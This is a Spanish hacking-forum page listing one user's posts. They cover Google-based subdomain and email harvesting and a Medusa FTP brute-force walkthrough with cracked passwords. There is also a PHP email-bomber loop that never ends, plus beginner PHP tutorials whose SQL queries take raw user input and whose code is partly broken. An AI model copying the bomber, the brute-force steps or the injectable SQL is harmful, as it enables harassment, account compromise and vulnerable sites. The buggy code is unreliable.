Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - syskc0

#1
Hacking / Goohost
Marzo 31, 2011, 03:24:55 PM
Gooscan es una herramienta que automatiza las consultas en los aparatos de búsqueda de Google,  pero con un toque.  Estas consultas son especialmente  diseñado para encontrar posibles vulnerabilidades en las páginas web.  Piensa "escáner cgi"que  nunca se comunica

directamente con el servidor web de destino, ya que todas las consultas son respondidas por un aparato de Google, no por el propio destino.

Esta guía le mostrará el uso simple de esta herramienta para encontrar subdominios en un host

Uso:
Código: php

root@bt:/pentest/enumeration/google/goohost# ./goohost.sh

[*] goohost v.0.0.1 Beta
[*] Simple script that extracts hosts/subdomains, ip or emails for a specific domain with Google search
[*] Author: watakushi
[*] Thanks to: Johnny Long and GHDB for inspiration stuff
[*] Special thanks to: Danya & Roberto

[*] Usage: ./goohost.sh -t domain.tld [-m  -p <1-20> -v]

[*] -t: target domain. Ex: backtrack.linux.org
[*] -m: method: . Default value is set to host
[*]             host: raw google hosts and subdomains search
[*]             ip: raw google hosts and subdomains search and performs a reverse DNS resolution
[*]             mail:raw google email search
[*] -p: pages [1-20]. Max number of pages to download from Google. Default 5
[*] -v: verbosity. Default is set to off
[*] Example: ./goohost.sh -t backtrack-linux.com -m ip -p 10 -v

root@bt:/pentest/enumeration/google/goohost#

Se trata de cómo realizar un simple  análisis

Código: php

root@bt:/pentest/enumeration/google/goohost# ./goohost.sh -t hotmail.com -m host -p 10

[-] Warning: DNS wildcard detected! With IP method you should have some false positive results.

Results saved in file report-14014-hotmail.com.txt
15 results found!


Opciones usadas
-t: dominio de destino. Ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
-m: método:. El valor por defecto está configurado para albergar
-p: páginas [10-20]. El número máximo de páginas para descargar de Google. Defecto 5

Aquí está mi salida

Código: php


root@bt:/pentest/enumeration/google/goohost# cat report-14014-hotmail.com.txt
gfx1.hotmail.com
gfx2.hotmail.com
gfx3.hotmail.com
gfx4.hotmail.com
gfx5.hotmail.com
gfx6.hotmail.com
gfx7.hotmail.com
gfx8.hotmail.com
gfx9.hotmail.com
graphics.hotmail.com
lc1.law5.hotmail.com
oe.hotmail.com
origin.gfx2.hotmail.com
rsi.hotmail.com
www.hotmail.com
root@bt:/pentest/enumeration/google/goohost#

¿Por qué es útil

Recopilación de información de esta manera es útil porque puede hacer una consulta en Google de la dirección IP en las cuentas de correo de acogida y subdominios este viene muy bien debido a los sub-dominios pueden tener forma de explotación para ayudar a obtener acceso al servidor de dominio principal si se está ejecutando en el mismo servidor y no iframes cuentas de correo electrónico podría ser fuerza bruta o utilizados para la ingeniería social, pero por favor, recuerde que estos son sólo ejemplos
create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#2
Hacking / Goorecon
Marzo 31, 2011, 03:09:34 PM
Esta es una herramienta simple escrito para la enumeración subdominio y la recolección de  direcciones de correo

Código: php

Goorecon .01
By Carlos Perez
Email: [email protected]

This is a simple tool writen for subdomain enumeration and email gatheri                                                                            ng
during authorized penetration test engaments using Google.
USAGE:
ruby goorecon.rb 
TYPES:

-s        Subdomoin Enumeration
-e        Email gathering


Uso de la herramienta
Código: php

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com

or

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -e hotmail.com


Sub dominio Execucion
Código: php

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com
www.hotmail.com.com,64.30.224.112
iniciarsesionhotmail.com,209.239.120.49
gfx6.hotmail.com,2.20.32.235
graphics.hotmail.com,2.20.32.235
gfx8.hotmail.com,2.20.32.235
www.windowslive-hotmail.com,173.203.167.46
freemsnhotmail.com,97.74.180.128
gfx1.hotmail.com,213.120.161.145
gfx1.hotmail.com,213.120.161.193
iranhotmail.com,64.130.221.18
gfx2.hotmail.com,213.120.161.193
gfx2.hotmail.com,213.120.161.145
ilikehotmail.com,209.239.120.49
signuphotmail.com,65.254.248.148
root@bt:/pentest/enumeration/goorecon#
</html>

Email execution
<pre lang="html>
root@bt:/pentest/enumeration/goorecon# ./goorecon.rb  -e hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

[SNIP]

<h1>create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</h1>
#3
theharvester es una herramienta para la recopilación de cuentas de correo electrónico, nombres de usuario y nombres de host / subdominios de diferentes fuentes públicas. Es una herramienta muy simple, pero muy eficaz.
Las fuentes de apoyo son:

Código: php

root@bt:/pentest/enumeration/google/theharvester# ./theHarvester.py

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Usage: theharvester options

       -d: domain to search or company name
       -b: data source (google,bing,pgp,linkedin)
       -s: start in result number X (default 0)
       -v: verify host name via dns resolution
       -l: limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin


Código: php

root@bt:/pentest/enumeration/google/theharvester# ./theHarvester.py -d hotmail.com -l 1 -b google

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Searching for hotmail.com in google :
======================================

Limit:  1
Searching results: 0
1
2
3
4
5
6
7
8
9
[SNIP]

Accounts found:
====================

@hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[SNIP]
====================

Total results:  39

Hosts found:
====================

www.hotmail.com
m.hotmail.com
root@bt:/pentest/enumeration/google/theharvester#

create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Esta guía le mostrará cómo realizar un ftp simple o cualquier otro servicio que es compatible con Medusa para comprobar la debilidad de los datos de acceso
Voy a estar utilizando genlist para recopilar una lista de los ejércitos en vivo que se están ejecutando en la red y han resultado en un archivo txt que Medusa puede utilizar para realizar un ataque de fuerza bruta sobre todas las huestes vivir

voy a empezar con la ruta para encontrar el rango de la red está utilizando

Código: php

syskc0@bt:~# route -n |grep eth1
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
0.0.0.0         192.168.1.254   0.0.0.0         UG    0      0        0 eth1
syskc0@bt:~#



En el ejemplo anterior en la red que estoy conectado a está utilizando el rango de ip 192.168.1.0 y la

puerta de enlace predeterminada 192.168.1.254, así que analizará toda la máscara de red para los hosts de vivir con genlist

Código: php

syskc0@bt:~# genlist -s  192.168.1.\* > host_c-intruder3s
syskc0@bt:~# cat host_c-intruder3s
192.168.1.67
192.168.1.68
192.168.1.69
192.168.1.77
192.168.1.78
192.168.1.101
192.168.1.254
syskc0@bt:~#


Ahora he obtenido una lista de anfitriones en vivo puedo ir para usar Medusa

Código: php

medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp


Medusa Opciones

Código: php

-v nivel de detalle seis
H-Lista de Clientes
-U lista Nombre de usuario
-P lista Contraseña
-M FTP tipo de módulo, TELNET, SSH, HTTP, etc


Nota Para este tutorial sólo voy a utilizar una pequeña de usuario / contraseña Lista Para ahorrar tiempo

Mi salida
Código: php

syskc0@bt:~# medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp |grep "ACCOUNT FOUND"
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: zerocold Password: password123 [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: offsec Password: password [SUCCESS]
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.68 User: michael Password:jhonadmin [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.77 User: rafael Password: admin123 [SUCCESS]
syskc0@bt:~#


En el ejemplo anterior he utilizado | grep "cuenta que se encuentra" para cortar la mayor parte de la salida, así que sólo reciben los nombres de usuario y contraseñas, pero si yo fuera a hacer esto en el objetivo real no es mi i red doméstica que se ejecuta de forma normal para puedo ver hasta qué punto el ataque está en marcha
#5
Back-end / Pagina fuera de servicio por fechas
Febrero 02, 2011, 06:44:33 PM
bueno se me ocurrio de hacer este pequeño script en php donde digamos que tenemos una pagina pero hay algunos dias que la pagina no se puede mostrar por que nosotros no queremos

Código: php
<?php
//kung fu  syskc0
//c-intrud3rs.com
$day=date("d");
if ($day<=1)
{
   echo '<center><h1>sitio esta activo</h1></center>';
}
else
{
echo "<center><h1>sitio fuera de servicio</h1></center>"; 
}

?>


Los nombres de variables son sensibles a mayúsculas y minúsculas, por lo que si la escribimos en minúscula inicialmente debemos respetar en el resto del programa. En cambio las instrucciones del lenguaje PHP no son sensibles por lo que si deseamos escribir IF o if, las dos formas estarán bien. Los que venimos de otros lenguajes como C, C++, Java tenemos por costumbre escribir las palabras claves en minúsculas, pero esto es solo por costumbre.
La condición del if debe ir obligatoriamente entre paréntesis. Los operadores relacionales disponibles son:

> Mayor
>= Mayor o igual
< Menor
<= Menor o igual
== Igual
!= Distinto

Si la condición se verifica verdadera se ejecuta el primer bloque encerrado entre llaves, en caso de verificarse falsa la condición se ejecuta el bloque entre llaves que le sigue al else.

[/quote]
#6
Back-end / Calculadora by SYSKC0
Febrero 02, 2011, 06:44:03 PM
bueno una calculadora es que no tengo que hacer

lo primero que hacemos es crear el archivo que servira como ingresador de los numeros y las operaciones

Código: html5
<!-- calduladora by syskc0-->
<html>
<head>
<title>CALCULADORA BY SYSKC0</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color:#000
}
.text1{
font-family:Courier New;
font-size:24px;
color:#F00;
}
select {
font-family: Tahoma, Verdana, Arial;
  font-size: 20px; color: #FFFFFF; background-color: #6699CC; border: #000099; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
input{
font-family: Tahoma, Verdana, Arial;
  font-size: 20px;
  color: #FFFFFF;
  background-color: #060;
  border: #000099;
  border-style: solid;
      border-top-width: 1px;
  border-right-width: 1px;
  border-bottom-width: 1px;
  border-left-width: 1px}
}
#cuadro{
width?390px;
margin:0 auto;
padding:5px;
border:3px solid #0F0;}
</style>
</head>

<body>
<div align="cuadro"><center>
<form name="calculadora" method="post" action="operation.php">
  <p class="text1">calculadora by syskc0</p>
  <p class="text1">
    <label for="data1"></label>
    <input type="text" name="data1" id="data1">
   
    <br><select name="signos">
    <option value="+">+ (suma)</option><br>
    <option value="-">- (resta)</option><br>
    <option value="*">* (multiplicacion)</option><br>
    <option value="/">/ (divicion)</option>
    </select><br>
    <input type="text" name="data2" id="data2">


  <p class="text1">
    <input type="submit" name="enviar" id="enviar" value="Enviar">   
</form></center><div>
</body>
</html>


despues creamos un archivo llamado operation.php que es que se encargara de ejecutar las operaciones

Código: php
<?php
// programing by syskc0
if(!enviar)
{
    echo 'la operacin no se pudo realizar';
}
else{
switch($signos)
{
    case "+":
    $resultdate = $data1 + $data2;
    break;
    case "-":
     $resultdate = $data1 - $data2;
    break;
    case "*":
    $resultdate = $data1 * $data2;
    break;
    case "/":
    $resultdate = $data1 / $data2;
    break;
}
}
echo "<center><H3>El resultado es </H3><H1>$resultdate</H1><br></center>";
?>
<input type=button value=REGRESAR onclick="history.go(-1)">


si copian el code o post pongan los putos greezt
[/quote]
#7
Back-end / Basico email bomber
Febrero 02, 2011, 06:43:24 PM
bueno pensando se ocurre hacer un simple mail bomber jejejeje solo es un bucle


Código: php

<?php
$repeticiones =10;
do {
mail("[email protected]", "Your Subject", "Your Message", "From: [email protected]");
} while ($repeticiones > 0);
?>
#8
bueno me puse bien creativo y me e puesto a dar mis primeros pasos en php algo bueno o malo no lo se
cuando visitante entra a nuestro sitio web enviara un correo a nuestra bandeja msn con ip , puerto , host , puerto host

Código: php
<?php
//email informacion visitante
$email  = '[email protected]';//tu email a donde quieres que llegue el mensaje
$asunto = 'llego informacion de un visitante';//asunto mensaje
$cuerpo = '<center><table width="525" border="1">
  <tr>
    <td colspan="2" align="center"><font color="#FF0000" face="Courier New, Courier, monospace" size="6">pr0gr4m1ng by syskc0</font></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td width="224" align="center"> la ip enviado</td>
    <td width="285" align="center"><?php $_SERVER['REMOTE_ADDR']; ?></td>
  </tr>
  <tr>
    <td align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3">puerto visitante</font></td>
    <td align="center"><?php $_SERVER['REMOTE_PORT']; ?></td>
  </tr>
  </font><tr>
    <td align="center"><font color="#0000FF" size="3" face="Courier New, Courier, monospace">eviado del puerto</font></td>
    <td align="center"><?php $_SERVER['SERVER_PORT']; ?></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td align="center">enviado de</td>
    <td align="center"><?php $_SERVER['REMOTE_HOST']; ?></td>
  </tr>
  <tr>
    <td align="center">fecha hora</td>
    <td align="center"><?php $mysqltime = date ("Y-m-d H:i:s", $phptime); ?></td>
  </tr>
  </font><tr>
    <td colspan="2" align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3"><font color="#FF0000" size="6">c-intrud3rs</font></font></td>
  </tr>
 
</table>
<p>&nbsp;</p>
<p>&nbsp;</p></center>
';
$cabeceras  = 'MIME-Version: 1.0' . "\r\n";
$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
mail('$email','$asunto','$cuerpo','$cabeceras');
?>
#9
ok ahora les enseñare como situar un link en una pagina donde uno desee los comandos son

llama el link
Código: php
<a href="#">


respuesta llamada de link
Código: php
<a name="">


si tengo un index entonces seria
Código: php
<a href="#amigos"


Código: php
<a name="amigos"


no importa cuantas palabras amigos haya solo si situara en donde se pone la etiqueta name

les tengo un ejemplo

Código: php
<html>
<head>
<title>link donde quieras ir by syskc0</title>
<style type="text/css">
body{
background-color:#000;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
.texto1{font-family:"Courier New", Courier, monospace;
color:#F00;
font-size:35px;}
.texto2{font-family:"Courier New", Courier, monospace;
color:#0F0;
font-size:35px;}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<a name="arriba"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#medio">medio</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br><span class="texto1">texto arriba</span>
<!-- aqui vajo hasta el centro-->

<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="medio"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br>
<span class="texto1">texto centro</span>
<!-- aqui vajo hasta el avajo-->
<br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="abajo"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#medio">medio</a></span></td>
  </tr>
</table>
<span class="texto1">texto abajo</span>
</center>


</body>
</html>
#10
Back-end / Como crear un buscador de palabras
Julio 14, 2010, 11:09:17 AM
Muchas páginas llevan su buscador propia de elementos dentro de la web. Cón este código se puede hacer un buscador senzillo que busca una palabra dentro de una Tabla con muchas noticias y cuando la encuentra las muestra por pantalla.

La palabra o texto a buscar se lo enviamos desde otra página usando una variable que llamaremos $palabra.

FORM ACTION="busca.php>
<INPUT TYPE="TEXT" NAME="palabra">
<INPUT TYPE="SUBMIT" NAME="Buscar">"

Busca.php
< ?
$conexio = mysql_connect("nombre_servidor", "usuario", "contraseña");
mysql_select_db ("nombre_BBDD", $conexio) OR die ("No se puede conectar");

// SQL para la búsqueda
$sql="SELECT * FROM documentos WHERE documento LIKE '%".$palabra."%' ";
$result=mysql_query($sql,$conexio);
// Si hay resultados crea una tabla y los muestra
if ($row= mysql_fetch_array($result))
{
echo "<TABLE BORDER='0'>";
DO
{
echo "$row["documento"]";
}
WHILE ($row=mysql_fetch_array($result));
echo "</TABLE>";
}
mysql_close ($conexio);
?>
#11
Back-end / Insertando datos a una DB
Julio 14, 2010, 11:08:45 AM
Para ingresar Datos a una base de datos desde un form solo tendremos que hacer esto
Código: php
$dbh = mysql_connect("localhost", "userdb", "pass");
mysql_select_db ("tu_db", $dbh);
$sql = "INSERT INTO registros (nombre, apellidos, user, pass, direccion, c_postal, provincia, pais, email, telefono, c_conocido, comentarios)";
$sql .= "VALUES ('$nombre', '$apellidos', '$user', '$pass', '$direccion', '$c_postal', '$provincia', '$pais', '$email', '$telefono', '$c_conocido', '$comentarios')";
$result = mysql_query($sql);
echo "¡Gracias! Hemos recibido sus datos.\n";
}


Eso lo pones en un archivo php con un nombre por ejemplo entradatos.php
entonces en el form en action pones entradatos.php
#12
Back-end / Como mostrar la ip de un usuario
Julio 14, 2010, 11:07:24 AM
 Lo único que utilizaremos es $REMOTE_ADDR esta pequeña variable esta por default en el servidor a si que lo único que tenemos que hacer es lo siguiente:

Código: php
<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el romte.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>


Y para que se vea bonito le agregamos una tabla:
Código: php
<table width="21%" border="1" cellspacing="0" cellpadding="0" bordercolor="#000000">
<tr>
<td bordercolor="#FFFFFF" bgcolor="#999999">
<div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Tu
ip es:

<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el remote.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>
</font></div></td>
</tr>
</table>

Bueno como pueden ver no es nada fuera de lo normal, demasiado fácil es solo utilizar el echo y el $REMOTE_ADDR
#13
Este codigo nos mostrara el tiempo que tarda en ejecutarse una pagina PHP, es ideal para ir optimizando las paginas probando diferentes algoritmos y asi saber cual es mas rapido o tambien simplemente como un "adorno" a nuestra pagina.

El codigo se divide en dos parte, la primera que toma el tiempo actual...

Código: php
<?php
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$starttime = $mtime;
;?>


Este codigo va al principio de nuestra pagina PHP y lo que hace basicamente es guardar en la variable $starttime el momento (horario) en que se inicia la ejecucion de la pagina.

Luego del codigo anterior colocamos los demas contenidos de la pagina y al final de la misma agregamos el codigo siguiente...

Código: php
<?php
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$endtime = $mtime;
$totaltime = ($endtime - $starttime);
echo "Esta pagina se creo en ".$totaltime." segundos.";
;?>

Bueno aqui lo que se hace es tomar el tiempo y almacenarlo en la variable $endtime para finalmente restarla con la variable anterior $starttime y asi obtener la diferencia, es decir el tiempo que tardo en ejecutarse nuestra pagina PHP.
#14
hola amigos hoy les enseñare como dumpear una base de datos desde la consola

primero es entrar a la ruta mysql dependiendo la instalcion estara en mi lugar esta

c:\xmapp\mysql\bin

ok ya estando hay con el comando

Código: php
mysqldump.exe -u root -p c-intrud3rs wolpress>basededatos.sql


explicacion

mysqldump.exe  --- utilizaremos para hacer el dump
-U = usuario  ---- usuario para dumpear la db
-p = password -- contraseña de el usuario
wordpress  = base de datos seleccionada para dumpear
basededatos.sql  --- archivo que contiene las tabals

digamos que queremos dumpear todas las base de datos

con el comando

Código: php
mysqldump.exe -u root -A>root2.sql


A = all-databasedump = dupea todas las db
#15
Back-end / Como conectarse a una base de datos
Julio 13, 2010, 08:24:06 PM
Para acceder desde nuestro código PHP a información almacenada en una Base de Datos MySQL, debemos antes que nada, conectarnos a dicha base, para ello necesitaremos el nombre de la base (que previamente debemos haber creado en nuestro servidor) y el usuario y contraseña que tienen acceso a dicha base (en general en un hosting compartido tanto la base como el usuario lo creamos desde nuestro panel (cPanel, DirectAdmin, o el que utilices) en el apartado "Bases de Datos MySQL" (o similar).

Una vez que tenemos dichos datos, debemos definirlos en nuestro

Lo primero son los datos a conectar

Código: php
$servidor   =  ""; //servidor base de datos
$usuario    =  ""; //usuario de la base de datos
$contrasena =  ""; //contrañe conection tabase
$database   =  ""; //base de datos a la conexion


Y luego debemos primero realizar la conexión, mediante la función predefinida mysql_connect() y luego seleccionar la base con la que trabajaremos mediante mysql_select_db().
Lo que os propondré será que creemos una función definida por nosotros que conecte y seleccione la base de datos, partiendo de los parámetros que definimos arriba, podría ser algo así:

Código: php
function conectDB($usuario,$contrasena,$database){
$coneccion = mysql_connect($servidor,$usuario,$contrasena);
if(!$coneccion) {
printf('no se logro conectar a la base de datos:' . mysql_error());   
}


Código: php
$basedatos = mysql_select_db($database);  
if(!$basedatos){
printf('no se logro seleccionar la base de datos:' . mysql_error());




En la primer parte se utiliza mysql_connect() para conectar con la base de datos y en caso de error, nos avisa por pantalla. En la segunda parte utilizamos, como dijimos arriba mysql_select_db() para seleccionar la base e igualmente, nos avisará en caso de error.

Luego tan sólo resta llamar a ésta función desde los archivos que querramos usarla.
Supongamos que guardamos la definición de datos (primer ejemplo) en un archivo llamado datos.php y la función conectDB() que acabamos de crear (en el segundo ejemplo) en un archivo funciones.php.
Nuestro index.php (desde dónde tomaremos información dinamicamente desde una base de datos), quedará así:

Código: php
include("datos.php");
include("funciones.php");


Código: php
conectDB($database, $usuario, $contrasena);



este es todo el codigo

Código: php
<?php
/**
conection database by syskc0
**/

//inicio conection de la bade datos a conectar
$servidor   =  "localhost"; //servidor base de datos
$usuario    =  "syskc0"; //usuario de la base de datos
$contrasena =  "clave"; //contrañe conection tabase
$database   =  "miblog"; //base de datos a la conexion

function conectDB($usuario,$contrasena,$database){  //coneccion base datos
$coneccion = mysql_connect($servidor,$usuario,$contrasena); // seleccion de todos los datos
if(!$coneccion) { //remotomando a la sintexis connection
printf('no se logro conectar a la base de datos:' . mysql_error());// mensaje de que no pudo conectarse   
}

$basedatos = mysql_select_db($database);  //seleccion base de datos
if(!$basedatos){  //retomando a la funcion basedatos
printf('no se logro seleccionar la base de datos:' . mysql_error()); //mensaje error
}
}
?>


podria ser mas facil pero soy muy complicado